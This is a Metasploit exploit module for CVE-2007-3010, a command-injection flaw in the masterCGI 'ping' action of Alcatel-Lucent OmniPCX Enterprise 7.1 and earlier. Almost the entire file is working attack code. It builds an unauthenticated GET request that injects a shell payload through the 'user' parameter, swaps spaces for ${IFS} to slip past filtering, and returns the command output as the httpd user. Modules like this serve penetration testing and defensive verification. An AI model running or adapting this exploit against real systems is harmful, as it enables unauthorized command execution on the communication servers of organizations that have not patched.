##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Only interactive single commands supported

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
        'Description' => %q{
          This module abuses a metacharacter injection vulnerability in the
          HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
          Communication Server 7.1 and earlier. The Unified Maintenance Tool
          contains a 'masterCGI' binary which allows an unauthenticated attacker
          to execute arbitrary commands by specifying shell metacharaters as the
          'user' within the 'ping' action to obtain 'httpd' user access. This
          module only supports command line payloads, as the httpd process kills
          the reverse/bind shell spawn after the HTTP 200 OK response.
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '40521' ],
          [ 'BID', '25694' ],
          [ 'CVE', '2007-3010' ],
          [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic'
                        }
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2007-09-09',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ]
    )
  end

  def exploit
    connect

    cmd = payload.encoded.gsub(" ", '${IFS}')
    req =
      "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
      "Host: #{rhost}\r\n\r\n"

    print_status("Sending GET request with command line payload...")
    sock.put(req)

    res = sock.get_once(-1, 5)

    if (res =~ /<h5>(.*)<\/h5>/smi)
      out = $1
      print_line(out.gsub(/<h5>|<\/h5>/, ''))
      return
    end

    handler
    disconnect
  end
end
